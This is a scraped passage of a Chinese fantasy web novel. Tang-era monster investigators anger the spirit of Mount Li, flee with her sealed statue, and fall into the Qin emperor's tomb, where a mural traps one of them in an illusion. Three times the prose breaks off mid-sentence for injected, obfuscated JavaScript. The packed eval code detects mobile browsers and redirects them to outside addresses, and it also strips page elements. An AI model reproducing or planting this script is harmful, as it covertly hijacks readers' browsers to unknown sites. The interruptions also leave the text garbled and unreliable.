只见一间窄门,门板歪斜破旧,半虚掩着。挂着一张褪色的匾额,上书“骊山娘娘庙”。两边一幅对联,上联“女娲补天泽天下,娘娘守山佑千秋”,横批“万古流芳”。 那佛头倒是眉开眼笑:“到了到了,各位施主别客气,快进来快进来!” 舒慈推开门来,吱呀一声。 只见庭院冷落,苔痕满阶,中间一只锈迹斑斑的香炉,插着三支燃尽的香。显是香火稀疏,信众罕至。小庙的制式自然也是不完整的,过了庭院便是正殿。斗拱简单,屋顶低矮,全然没有大雄宝殿之气相,也悬挂暗淡的牌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14870443|157775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 匾一张,上书“娘娘殿”。 “别愣着啊,快带我进娘娘殿里边,我给你们叫娘娘来!” 此时不到申时,天光正亮,娘娘殿内却是光线灰暗,灰尘四起,看不真切。 敖瑞蹲在门外,三宝停在它头上,拒不进入任何庙宇道观。 舒慈只能与杜月恒对视一眼,一齐抬脚而入。 殿内陈设简单,正中高台之上放置一座木头雕像,地上放一张跪垫,供台上放着几个苹果,一只烧尽的油灯。 那雕像想来便是骊山娘娘了。 虽然这小庙简陋,这雕像却是制作精美,神态逼真传神,一幅眉慈目善的老年妇人之态,白发绾成发髻,眉眼低垂,嘴角微笑,眼角的皱纹也刻得细致入微,手杵拐杖,岣嵝着背,低低地注视着他们。 “娘娘!”那佛头进了殿内便高声尖叫了起来,“娘娘——是我啊!您在吗?” 万籁俱寂,鸦雀无声,只听到风吹树林。 佛头不放弃,又喊了一遍:“娘娘!您在吗——” 无人应答。 舒慈皱眉,那佛头赶紧道:“娘娘今日可能去外面了,官奶奶,你稍安勿躁……” “吱呀——” 风好像突然大了,正对的大门被刮得合上了。 敖瑞轻轻呜了两声,背上的毛竖起,三宝立刻飞到了舒慈肩上。 舒慈暗道不好,拉了拉杜月恒,示意与她站得紧密些,保持警惕。 “娘娘!是你吗!”只有那佛头兴高采烈,“是我啊……” 风又大了,却好像只有殿内起了一阵风,舒慈感觉后背一凉,立刻转过身来,只见供台的上的那几个苹果被吹落,骨碌碌地在地上滚了几圈停下来。 只听殿里回响起一阵咯咯咯的笑声,那声音清脆娇憨像年轻的女子。 舒慈以为是那木雕的妇人发出来的,却见那木雕丝毫没动,仍是面容慈祥,低眉注视着众人。 “石八百,”那声音又道,“你还知道回来啊?” “哎哟,娘娘,您就别挖苦小的了!”那佛头苦着脸,打算从头讲起:“您不知道,小的离了骊山,便被人雕刻成了一尊佛像!却是小的修行尚浅,二十年来只通了五感,不会走路活动,要不,我早就回骊山来孝顺娘娘您了……” “这几个人又是谁啊?”那声音打断道。 佛头呜咽了起来:“小的运气好,遇到这几位好心的官爷爷官奶奶,愿意将小的送回骊山……小的这才又能见到娘娘您呢……” “哦?是吗?” 又是咯咯笑了两声,接着,那笑声忽的从天上落下来—— 只见梁上翻身下来一名美艳的年轻女子,明眸皓齿,两点卧蚕眉,眉间一点花钿,身着袒领小衫,外罩朱红金线纱罗大袖衫,手臂绕薄纱披帛,戴金色臂环,头梳双环望仙髻,满头珠翠,钗金色步摇。 一时间,这晦暗的娘娘殿艳光四射。 她轻巧地落在了舒慈跟前。 27. 第十八回 骊山(下) 舒慈头皮发麻,汗毛倒立——刚刚她看过屋顶,是空无一人的,这女子是什么时候在房梁上的? 她长得很美,但却说不出的渗人,嘴角勾着一丝笑,一双杏眼却是冰冰冷冷的,目不转睛地望着舒慈:“你们都是些谁啊?” 舒慈感觉自己仿佛成了殿里的一根梁柱,杜月恒在一旁紧贴着,三宝的小爪子死死抓着她,敖瑞僵硬地缩在她腿边。 舒慈将佛头递给杜月恒,自己硬着头皮上前,拱手鞠躬恭顺地行了个礼,清了清嗓子答道:“骊山娘娘,我们是大理寺缉妖司当差的,近日长安城出了起怪案子,那嫌犯曾到过骊山,还想请娘娘相助……” “啧,”骊山娘娘挑了挑眉,打断道:“大理寺?——巧了,我最讨厌的就是你们大理寺的。” 舒慈愣了一下,难不成是之前大理寺查案的得罪过这骊山娘娘? “娘娘是不是认错人了?在下今日第一次见娘娘……” “哦?”骊山娘娘又打断她,来回扫视着她们,“你说你是大理寺的,你身上这两只小妖怪又是怎么回事?只见过狗仗人势的,没见过妖也没脸没皮,帮起人来的!” 敖瑞龇牙,三宝胆大,忍不了便出声道:“你这东西好没道理!我们是妖怪不错,行得端,坐得直,还不知道你到底是人是妖,竟在骊山中自称起了娘娘!” “你这三宝鸟,平常叫的是’佛法僧、佛法僧’,怎的也是嘴上不干净的!”(注) 骊山娘娘没有异瞳,竟然能辨出三宝的真身。舒慈心下怀疑,集中精力于左眼,趁她骂着三宝,金光一闪—— 却见骊山娘娘身后空无一物,既没有人,也没有物的影像。 她既不是人,也不是妖。 骊山娘娘却察觉到了,飘也似的到了她跟前:“你这双眼睛倒是好玩,刚刚看了我一眼是什么意思?” 舒慈还在错愕之中。 骊山娘娘伸出手来,将舒慈的下巴抬起,仔细端详了半晌。不知为何,她竟是忽然恼了,倏地伸出两根手指,往舒慈的眼睛刺去。 幸好杜月恒反应快,一起手,将那佛头石八百挡在舒慈眼前。 “哎哟!!”石八百眼睛被捅了个正着,痛苦地尖叫起来,“娘娘您这一手也太狠了!” 骊山娘娘手也痛得不轻,恼羞成怒,长袖一挥,石八百便浮起来,像失去了平衡似的,在半空中飘浮着,转了几圈。 又是“砰”的一声,娘娘殿的大门也凭空关上。 “你们几个到底是什么东西,敢到我骊山来造次! 她的声音不再娇憨,像金属刮着石头,变得尖锐刺耳。话音刚落,地面微微颤动起来,像是整个骊山都在发怒。 “哎哟哟,”石八百在空中打着转,见势不对,赶忙高声解释道,“骊山娘娘,都是误会,都是误会啊!!这几位真的是大理寺的!是小的在那青龙寺,遇上了起凶杀案,又有一个奸人不知与小的有什么怨什么仇,将小的打得粉碎!只剩了这个脑袋,这官奶奶好心保护我这重要证人,啊不,证妖……” 怎么还提大理寺,你娘娘最讨厌的就是大理寺的!舒慈心中着急,只觉得这石八百拉拉杂杂的,越解释越乱。 骊山娘娘似乎也有同感,伸出手指点了点石八百,它的嘴巴立刻合上,成了一条石头缝,收了声。 “讲重点!” 她又用手一指,那条缝又裂开,只听石八百道:“哎哎哎,娘娘您别急,重点就是,这几位官爷查的那嫌犯,前几日到过这骊山,竟召出了那一只会飞长角有爪子的陶俑!我想到一百年前,骊山也曾出过这怪事,便想着看事恐怕只有娘娘您神通广大,知道个中情况,便说好了带了他们过来,娘娘您一定能答疑解惑……您常教育我们小的,做人不能言而无信……” 骊山娘娘再次动了动手指,石八百又闭上了嘴。 提到了那陶俑,她蹙起两点卧蚕眉,来回踱了两步,跳到高台上,翘起一跳腿坐在雕像前,一只手撑起下巴沉思起来,地面也渐渐平静下来,不再抖动。 殿内暂时安静下来,杜月恒凑过来在舒慈耳边低声问:“舒姑娘,你看清骊山娘娘到底是什么了吗?” 舒慈脑里的一根弦绷得极紧,目光紧紧跟随着骊山娘娘,怕这喜怒无常的随时有动作,只轻微地摇摇头,从牙缝里挤出几个字来:“非人非妖。” “你们倒说说,那人是怎么召出的陶俑?”骊山娘娘突然出声。 舒慈便将那日胡左胡右之言转述。 “在下听胡八百说,之前也有行人见过那怪兽陶俑,便想请娘娘赐教。言语之间,若有冒犯,还请娘娘见谅。” 骊山娘娘换了只手撑住下巴,斜晲着众人道:“既然石八百替我答应了你们,看你们的样子也不像撒谎,我就回答你们三个问题。” 舒慈与杜月恒面面相觑,一时之间不知从何问起。 “说吧!” 二人对了对眼神,杜月恒便先问:“那陶俑是不是秦始皇陵的镇墓兽?” 骊山娘娘答:“是。” “真的假的?”杜月恒故意提高音量,“可我听石八百说,这骊山中精灵神秀,什么稀奇古怪的东西都有……” “啧,石八百才在骊山二百年,我在世间已经不知道几千年。你们那什么大秦皇帝修他那劳什子的陵墓,我可记得一清二楚。又是大兴土木开山动土,又是请了各路术士施法三天三夜,那怪物陶俑就是故意摆在门口的,生怕有人掘了他的墓,坏了他的风水——” 她眼睛一转,戛然而止,板起脸道:“行了,这是第一个问题。” 杜月恒又问:“娘娘您见多识广,可知道那陶俑为何会破土而出?” 骊山娘娘不受这吹捧,翻了个白眼:“那自然是受了你们人的法术。你们人一向是诡计多端的,我怎么会知道用了什么邪门办法?行了,最后一个问题。” “娘娘本领高强,一百年前,您去查那镇墓兽可有发现什么异常?” “那镇墓兽并不难找,找到之后它们倒是安安静静地躺在地里面又躺了一百 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14874010|157775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年——要说异常嘛,倒是有一处,”骊山娘娘漫不经心道,“那地底下似乎有活物。” “活物?!”杜月恒和舒慈震惊地对视一眼,他追问道,“您确定那活物不是那会动的镇墓兽?” 骊山娘娘像看痴呆一样撇了他一眼:“活物自然是活着的东西,陶俑当然是死物啦!” “你们那皇帝还叫人陪葬,活物有什么好奇怪的?”她又翻了个白眼。 叫人陪葬和有活物有什么关系?若是一千年前陪葬的人活到现在不是更可怕吗!舒慈刚想追问,只见她红衣一闪,一眨眼又翘腿坐到了那房梁上。 “好了——你们的提问结束了,你们的问题我都回答了,现在该换你们回答我三个问题了!” 这之前可没说好啊,舒慈望着房梁上,想上前一步与她辩驳,却被杜月恒伸手拦住了。 她高高在上,虽然低低注视着众人,一双眼却只盯住舒慈一个人。 大地又开始轻微地抖动了起来,似乎不容他们有任何反对。 “第一个问题,你父母是谁?” 这问题自然是问舒慈。 “在下无父无母。”舒慈没有料到竟是这样的问题,皱眉答道,“只有一个师父。” “好,那你师父又是谁?” “……” 舒慈后悔不该回答了,直觉这骊山娘娘是冲着她师父来的,抿起嘴唇,想着应对之策。 却听得那半空中的石八百摇头晃脑地使劲咧开嘴唇,大声抢答道:“烟霞客!娘娘我知道,她师父叫烟霞客!” “哈哈哈哈……” 骊山娘娘的笑声无比刺耳,几近癫狂。 “想不到啊,想不到,烟霞客,今日我竟遇见了你的徒儿!” 大地抖动得更厉害了,舒慈和杜月恒互相抓住对方,敖瑞使劲用爪子抠住地面,才能稍稍保持平衡。 “骊山娘娘,你别激动啊!”杜月恒喊道,“你和烟霞真人有什么过节?想是误会吧!咱们好好说说,你先别动气……” “闭嘴!” 骊山娘娘红袖一甩,两人之间地上立刻隆起一块,将杜月恒掀翻在地。 “我和烟霞客的人没什么好说的!” 真是冲着她这倒霉师父来的!烟霞客行走江湖,怎么结识的朋友死得早,结识的仇人能活千年啊! 舒慈此时只能膝跪地,一只手扶在地面上保持平衡。所谓识时务者为俊杰,她咬牙切齿,当机立断:“我跟烟霞客不熟!他什么都没教会我……严格来说,他不能算得我师父啊!” 骊山娘娘又是哈哈大笑:“烟霞客啊,你可真是可悲至极,连你的徒儿都不认你!” 说罢,又是地动山摇,舒慈的脚下裂开一条大缝,逼得她向后一跃,飞身到木雕背后。 这角度不好,刚好遮挡住其他几人与骊山娘娘。舒慈看不清形势,却听到骊山娘娘的声音又响起来:“哦对了,我还有一个问题——” “你说,你那师父会来救你吗?哈哈哈哈哈……” 28. 第十九回 木雕 轰隆隆,又是地动山摇。 红衣一闪,骊山娘娘又消失得无影无踪。 很快,殿内的柱子房梁受不住这震动,吱呀作响,灰尘四起,娘娘殿好像要塌了,但还在苦苦坚持。 地面起起伏伏,敖瑞被甩到了墙角,三宝停在浮在半空的石八百头上。杜月恒在地上滚来滚去,紧紧抱住放雕像的石台子,这才停了下来。 他朝台子另一边的舒慈大喊道:“这骊山娘娘非人非妖,难不成真是山神?” 舒慈在另一侧,手上抱着石台,脚下晃来晃去,怎么也保持不了平衡,抬眼一看,却见那骊山娘娘的妇人木雕纹丝不动,仍是慈祥地注视着下界。 “嗷呜!” 墙角的地面裂开一条大口子,眼见下面就是无尽深渊,敖瑞奋力一跃,跳到了杜月恒的背上。 脚边的大地不断被撕开一道又一道口子,二人一妖挂在石台上,只觉得不在海上,却似惊涛骇浪,五脏六腑都要被甩了出来。 忽的,大地不再抖动了,敖瑞从杜月恒地上跳下来,还在晕头转向,走了几步打了个趔趄。 又是“砰砰”几声,娘娘殿大门豁然洞开。骊山的轰鸣停止,一切复归平静,反倒是安静得可怕。 敖瑞站起来便往门外跑,却听杜月恒阻止:“等等!” 敖瑞停下来,不解地回头。 杜月恒还和舒慈挂在石台上,他解释道:“刚刚骊山娘娘分明可以来个天崩地裂,将我们几个一网打尽,但她好像忌惮这殿里什么。这突然大门大大地打开,肯定有诈!” 舒慈听完立即安排道:“三宝,你赶紧去叫人!先找烟霞客,找不到就找李元信,再找不到就去杜府!就说杜二公子有危险!” 三宝咕噜一声,碧蓝的影子“嗖”地窜出了大门。 那骊山娘娘似乎可以听见他们说话,停在半空的石八百好像被一只看不见的手一拽,“哎哟”一声便笨拙地在空中翻滚着,立刻追着三宝而去。 大门又猛地关上。 舒慈与杜月恒对视一眼,也想明白这其中关窍一定就在这雕像之上,正是因为他们方才依附在雕像周围,才幸免于难。 她绕着这木雕转了一圈,没有看出个中端倪。又向杜月恒使了个眼色,二人合力想将木雕底部翻转过来,却是拿不起来。这木雕底部与石台紧紧粘在一起。舒慈这才注意到,雕像与石台的连接处贴着一张黄纸符。这妇人的衣服被涂成黄色,与符纸的颜色融为一体,若非仔细根本辨不出来。 上面字迹飘逸灵动,行云流水。她对这字熟悉的很——这是烟霞客贴的符咒。 舒慈拍了拍杜月恒,示意他来看。他眼睛惊讶得瞪大,用手比划道:这是师父的? 舒慈点点头,但心下奇怪,地缚咒只是将物体困在原处,不能够轻易移动,为何骊山娘娘为何如此忌惮?难道烟霞客还在其中下了别的法术,叫骊山娘娘不能随意毁坏?事有蹊跷,这雕像定有其他异处。 杜月恒歪了歪头,又比划道:这是什么意思? 舒慈指指雕像,又指指地面,意思是,这是地缚咒。又用手指指自己的太阳穴,指指符咒,意思是,这不是单纯的地缚咒,还有别的咒语,但我看不懂。 杜月恒茫然。 舒慈啧了一声,懒得继续比划,自顾自地手一伸,一股脑扯下雕像上披挂的各色薄纱,扬起尘土。 二人都咳了两声,却见在雕像的背心处,果然还贴着一张符咒——自然也是出自烟霞客的手笔。 杜月恒嗯嗯了两声,比划道:什么意思? 那符咒中间写了大大的一个“木”字,又画了八卦图,围着密密麻麻的咒语。 舒慈盯着这符咒,心中慢慢有了推测,虽然不能完全想明白,但事已至此,若不试试,今天他们就只能被困死在这骊山荒庙。 拿定了主意,她便自言自语道:“五行相生相克,天地归宁,木能克土,土重木折……” 正说到这一句,大地又开始抖动起来,想是那骊山娘娘听到了舒慈所说。 杜月恒扶住石台,不解其意:“舒姑娘,这是什么意思?” “骊山娘娘,你既能支配石八百,又能控制山体……恐怕就是骊山的分身了!师父用了地缚咒将你的雕像固定此处,又在雕像上用了木咒……” 骊山又开始轰鸣,娘娘殿摇晃得比刚刚还厉害,但还是摇摇欲坠,没有坍塌。 舒慈见骊山娘娘又怒了,便知道自己的猜测对了七八分,继续不依不饶道:“我猜,定是我师父将你的元神封在了这木雕上!” 话还没说完,又是如翻天覆地的震荡袭来。 杜月恒甩到一边,敖瑞也不偏不倚被甩到他身上。他抱着敖瑞,躺在地上对舒慈喊道:“木能生火,火多木焚!” 舒慈听明白了,第二波震荡如天崩地裂,她只能一手抱住木雕,一手从包里寻出一张黄纸符。她尽力单手捏诀,但整个人像被挥起来的鞭子,在空中被甩来甩去,那黄纸符在她手中立起来一下,又软趴下去。 她又试了一次,咒语还没默念完,人又被甩了起来。 “舒姑娘,吐纳呼吸,一鼓作气!”杜月恒的声音断断续续,想来他也是在地上被震得头晕目眩。 说得容易! 舒慈闭着眼睛,将注意力集中在手上,虽然腿还在空中荡来甩去,但她努力调息平气,想象天地万物只剩她的一缕气息,她与这被大地震动的气流融为了一体,默念道:“太上老君,火德金星。九天烈焰,照耀乾坤。急急如律令!” 轻轻的,“簌”地一声,符纸窜出了一缕火苗。 终于成功了! 舒慈松了口气,大声威胁道:“你再不放了我们,小心我烧了你的木雕!” 大地的震动瞬间停了下来。 舒慈耳边还有轰鸣声,脚下虽然又踩在了地上,晕头转向,又坐在了地上。 “果然是烟霞客的徒弟……” 仍是未见其人,但闻其声。 “都是一样的卑鄙恶心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14890470|157775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 舒慈惊魂未定,举着那燃烧的符纸,张口怒道:“你可以骂烟霞客,但不能骂我!我们和你无冤无仇!怎的非要我们几人的性命!” “好,既然叫你发现了这木雕的秘密,我今日大发慈悲,就饶了你们的狗命。” 那声音很是勉强的样子,接着,娘娘殿的大门又齐刷刷地打开。 “还不赶紧滚?!” 舒慈与杜月恒对视一眼,都没有起身离开的打算。 不等杜月恒反应,舒慈手一伸,揭下了那张贴在木雕底座的符咒。 *** 却说三宝飞出了娘娘殿——石八百实在太重了,跟它不上,不一会就掉进了骊山山间。 三宝又往长安城方向飞,飞出不到半刻钟的样子,就遇上了骑马而来的烟霞客。 那日太子发话,叫烟霞客从长安城消失。他便一刻不敢停地往蜀中而去,却又想起胡左胡右所言骊山陶俑之事。 虽然烟霞客叫舒慈不再理睬,心内仍放心不下,便又调转马头,先来骊山查看一番,这才碰上了三宝。 三宝飞得着急,又是心有余悸,结结巴巴地讲了几人在娘娘庙中所遇之事。烟霞客暗道不好,赶紧跟着它往骊山娘娘庙而来。 烟霞客走得快,刚望见半山腰上的小庙,就看见两个人影和一条狗,着急忙慌,连滚带爬,逃命似的冲了出来。 他们顺着石阶跑得飞快,不一会就能瞧见他们的真容——敖瑞跑在最前面,后面跟着舒慈和杜月恒。二人一前一后,中间抬着一座木头雕像。 烟霞客一时诧异,哑然失笑,站在原地等着他们。 舒慈也望见了烟霞客,腾出一只手,对着他乱挥,那意思是:赶紧走啊! 烟霞客不理她,越看越觉得好玩,笑出了声,看着二人越来越近,他笑得更大声了,直到舒慈跑到他跟前,他捧腹大笑:“好好好,呆徒儿自有呆办法!” 什么呆徒儿呆办法,舒慈现在恨他恨得牙痒痒。 杜月恒急了:“师父,那骊山娘娘似乎跟您有仇,一听我们是您的弟子,便要杀了我们……” “你什么时候变成烟霞客的弟子了?!” “哎,什么骊山娘娘?”烟霞客不满道:“哦,你们还不知道——整个骊山都是女娲娘娘补天时剩下的一颗石头,那红衣女子不过就是灵石化作的人形,却在骊山中自称起了娘娘!可笑,可笑!” 她本就是灵石一块,真身便是整个骊山,难怪非人非妖! 烟霞客又问:“那红衣女子怎么没跟你们过来?” “你还想她跟过来?!”舒慈把木雕像往地上一放,气得跳脚:“要不是因为她听说我是你的弟子,我早就把那陶俑的事情问得清清楚楚了!不知道你什么毛病,把人家元神封在这木雕里干嘛!要不是我机智,说我帮她解了这地缚咒,她便放我们走,但出骊山之前,我们得带着这木雕,否则我们今日铁定被骊山夹成肉饼三道!要是她跟过来了,我一定让她冤有头债有主……” 29. 第二十回 壁画 舒慈还没说完,杜月恒指着她背后“哎”了一声,一抹红影追了过来。 二人不禁望向烟霞客,盼着他像传奇故事里的祖师爷钟馗一样,一展身手,将骊山娘娘打退下去。 不想,烟霞客瞪着他们:“看我干什么?跑啊!” 说罢,烟霞客提起那木头雕像,二人跟在他后面,三人二妖飞也似的逃命。 “烟霞客!”舒慈施展入门级凌波微步,跑得气喘吁吁,“这娘娘的元神难道不是你封在这雕像里的?” “这事情说来话长,”烟霞客声音平稳,已经甩出他们二里地,“现在是聊这个的时候吗?你们跑快点啊!” 大地又开始微微震颤,那是骊山娘娘的愤怒在岩石地壳中蔓延。 “烟霞客,”未见其人,她的声音回荡在山谷中,“你终于来了!” 山上的巨石开始松动,发出沉闷的轰鸣声,气势汹汹地从高处向着舒慈和杜月恒滚来。 烟霞客见势,终于回过头,叹了口,摸出一张符纸,默念了一句咒语,干脆利落地拍在地上。巨石立刻像被一道无形的关卡阻碍,停在了半路。 “这是你我二人的恩怨,”烟霞客道,他的声音不大,但又沉又稳,回响在天地之间,“与我的徒儿无关。” “可笑!” 那红影旋转,向烟霞客袭来,骊山娘娘现了真身,要夺烟霞客手里里的雕像。 烟霞客眼疾手快,侧身一躲,又轻轻一跃,又与她拉开距离。他沉着一张脸,没了平时的潇洒,冷哼一声道:“跟你说了冤有头债有主,你有什么仇怨尽管朝着我来!” 骊山娘娘扑了个空,飞快转身过来,怒目而视道:“二十年前,你和你那两个和尚兄弟一道将我的半个元神封在这木雕之中,还害得我家破人亡,今日却叫我放过你的徒儿?! “我听说那觉顺和尚最近也死了,”她艳丽的脸上因仇恨而扭曲,笑得狠厉,“哈哈哈,真是活该!” 舒慈还想再听其中详情,却见烟霞客一只手背在身后,四指张开弯了弯,意思是叫他们赶紧走。 舒慈心领神会,抓了抓杜月恒的衣袖,刚想开溜,却听骊山娘娘道:“还想跑?!” 她手一挥,山体剧烈地动荡起来,瞬间被一股无形的怪力撕开,一道巨大的裂缝从山脚向他们蔓延而来。 “快逃!” 那断裂的速度极快,敖瑞警觉,早跳开,跑出了几里地。舒慈提气运神,回头却见杜月恒来不及起步就已经向后滑下了裂缝,他身下正是比黑还黑,无尽的深渊。 “杜月恒!!” 舒慈飞身而去,堪堪抓住他的手,却被他带着,一同坠了下去—— “啊——” 她听见骊山娘娘近乎癫狂的笑声,眼前的情景似乎在慢放,眼见敖瑞的头伸到裂口边,缝隙间还能看见烟霞客施咒的样子。 两边的岩壁合拢,天光越来越窄,几乎快要成一线。 她绝望地闭上眼,她要永远地与骊山合二为一了,眼前居然跑起了走马灯—— 舒慈,大理寺女官,缉妖司司务,卒于天观十六年。师从真人烟霞客,有辩妖之异能,于缉妖司大展宏图,处妖案数十件,查青龙寺疑案,于骊山殉职…… 走马灯还没跑完,却听“咚”的一声。 她竟然掉在了地上。 还来不及疼,地面是斜的,她又滚了好几圈,终于撞在一块软垫上,刹住了车。 她没有死! 舒慈艰难地睁开眼睛,只听那软垫闷哼一声:“舒姑娘……您压着我了……” 她赶紧从地上爬起来,终于看清如今的处境——她砸在杜月恒身上,原来那地面上的裂缝裂开来——或许因为烟霞客的符咒起了作用——并没有完全合上,而是留下一丝缝隙,透出微弱的天光。 裂缝下面两三米处正好是一截甬道,甬道连着一段斜坡,又是一截甬道。她和杜月恒顺着斜坡滚了下来,刚好落在下面的这一层甬道里。 “太上老君,火德金星。九天烈焰,照耀乾坤。急急如律令……” 舒慈赶忙摸出一张黄纸符,捏诀起火,火光满室,明亮了起来。 杜月恒已经扶着墙壁站了起来,看上去身体无恙,没有受伤,只是脸上摔得青一块紫一块,蹭得脏兮兮的。人在最绝望的时候甚至会因为这点小事想笑,她不知自己是不是也是一个模样。 “不好意思啊,”杜月恒缓过气来,耳根发红,第一件事情又是道歉,“刚刚将你也拽了下来……” 舒慈摆了摆手,现在不是说这个的时候,又捏了一张符纸,顺手给了杜月恒一道光源。 “这符不会烧尽。”她简短道。 二人举起符纸,开始查看起了甬道内部。 甬道四周绘着精美的壁画,想来也曾是绚丽鲜艳的,但经过了不知几百年时间的冲刷,色彩已经脱落,只剩下黑色的线条。 画面中央是一支威严庄重的队伍,人数众多,几乎都是男性。最前面的一群人身着白色的长袍,手持法器、旗帜。然后是一群身着黑色丧服的男人,表情庄重,步履缓慢。队伍中间则是身着铠甲的士兵,手持长矛和盾牌,中间围着一架马车,护送着一只巨大的灵柩。 舒慈背后起了一层薄薄的冷汗,不敢置信地出声:“我们这是在秦始皇陵的墓道里?” 杜月恒严肃地点头,仔细查看后道:“恐怕这画的就是是秦始皇的送葬队伍……” 舒慈屏住呼吸,忍不住举着火符贴近了看。 这壁画是连续的,她跟着送葬的队伍继续向前走,不知不觉间,墙壁上黑色的线条好像扭动了起来,一条一条线连接起来,队伍里的人手拉着手,慢慢转成了一个漩涡,她越是目不转睛,想要看清画里的一切,越是好像双脚离地,掉进了画里—— 再一回神,这是一千年前秋,一千年前的骊山。 一千年前的风还是割人脸一般地疼,却好像比现在冷了很多,舒慈打了个寒战——她也在画里了吗?是不是也成了一段一段黑色的线条? 她这才看清队伍最前面的人,或许是方士和祭祀,有的抛洒着纸符,有的手执法器念念有词。那些穿黑衣的人应该是他的臣子们,个个都是如丧考妣,哭喊着,哀嚎着,痛哭着他们的王的离去……她混在队伍中,跟着行进着,不知是不是被这压抑沉痛的氛围感染,竟然热泪涌上来,似乎这也是她的王,她莫名地感受到时光洗礼过的,无限的悲痛…… 那灵柩放在马车上,棺椁是用青铜制作,浇铸着密密麻麻的铭文,每面各有两条龙纹,踩在祥云之上,龙头向中心,龙尾朝外。 他们走得很慢,约莫半个时辰才到了墓道口,那里放着两只陶俑——俱是长着兽爪,插着双翼,如恶鬼的脸上长了一堆一对尖利的兽角。 臣子们在这里纷纷跪下,出来十几个壮汉抬棺,前后跟着方士祭司,继续念诵着 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青铜棺椁已经被放在了墓室正中,方士和祭司们又围在一起开始念起了咒语,那声音很不整齐,似乎在各念各的。舒慈后悔,应该叫烟霞客一起下来的,他才听得明白他们唱诵的是什么…… 对了,她这是在哪?还在画中吗? 她的脑子里的齿轮像被卡住了,怎么也转动不起来。 她呆呆地望着那些白袍的方士祭司们嘴一张一合,不知道过了多久,又好像时间停滞,她感受不到时间的变化了。 咒语的声音停下来了,舒慈这才反应过来,他们要走了。 白袍们飘一般鱼贯而出,巨大的石门即将关上。 不行,她要出去! 舒慈想奔出去,脚下却是绵软松懈,身子越来越沉,使不上劲。 只能眼睁睁望着石门在她根全缓缓关上—— 她要和壁画融为一体了吗? 舒慈心中突然冒出这个想法。她转过头去,看见地上的陶俑们,有的起舞,有的奏乐,有的唱曲,在昏暗的光线中,似乎一个个真的动了起来,画面有了颜色,歌伎们唱起了一千年前的歌曲,舞伎们跳起了一千年前的舞…… 但舒慈已经不怕了,她甚至觉得在这里也挺好的——她觉得自己好像和这里合二为一,也许,她本来就是这里的一员也不一定…… 司马迁说这里用水银浇筑,机关各处,他是不是没有在刚刚送葬的队伍里——应该叫来杜月恒,他一定认得出来…… 杜月恒又在哪?他没有跟着来吗? 她彻底软摊下来,跌坐在地面上,她的脑子不再受她的思考,她生出无限的幸福,在这里没有生,也没有死,没有快乐,自然也没有痛苦,她要变成一条线,一张画了。她要永远地留在这里了…… ——“舒姑娘?!舒姑娘!!” 是杜月恒的声音! 不行,她要出去! 她费力地爬起来,拼命地拍起了那石头巨门。 却听见身后传来“簌簌”的声音。 ——“舒慈!你醒醒啊舒慈!!” 她一转头,那影影幢幢的陶俑群后面爬出一条长长的影子,它比陶俑还高,向她扭曲着蠕动过来…… ——“多有得罪了!” 是那条巨虫! ——“看我当头棒喝!” 舒慈只感觉额头被人劈开的痛,痛得她捂脸弯腰,向前倒去。 30. 第二十回 壁画(下) 还好杜月恒接住了她。 舒慈挣扎着睁开眼,对上一双关切的眼。 杜月恒着急开口问道:“舒姑娘,你没事吧?” 额头虽然还有些疼痛,但舒慈意识已经完全清醒。她摇了摇头,深吸了一口气,环顾四周,发现自己依然站在那昏暗的甬道中。 “我……我方才怎么了?”舒慈揉着额头,茫然地问道。 杜月恒见她恢复了神智,松了一口气,解释道:“你刚才好像被壁画迷住了,整个人都呆住了,眼神呆滞,我怎么叫你都没反应。最后实在没办法,只好……打了你一下。” 鸡皮疙瘩顺着舒慈的背爬到了脖子上。她擦了擦额上的冷汗,心中一阵后怕,再次用火符照向那些壁画。现在,壁画上的线条静静地躺在墙上,好像一千年来它们都是如此,似乎在嘲笑她,刚刚的一切只是她的幻觉。 “这壁画有问题,”舒慈低声说道,“我刚才好像……进入了画中的世界,看到了秦始皇的送葬队伍,差点被困在里面出不来。” 杜月恒闻言,脸色也变得凝重起来。他抬头仔细打量着壁画,眉头紧锁:“这些壁画确实不简单,骊山娘娘说过,当初各路方士在此处施了法术。这壁画上的幻术可能就是为了让人困在此处,不能够再往秦始皇的陵墓而去,我们得小心点。” 舒慈点了点头,心中暗自警惕。她举起手中的火符,火光映照在壁画上,“我猜,应该是不能直视这壁画……否则就会被迷惑,进入幻境……刚刚我甚至觉得自己也快要成了这壁画的一部分。” 杜月恒闻言倒吸一口凉气:“这地方太诡异了,不能久留。” 舒慈又奇怪道:“可是你为什么没有中幻术?” 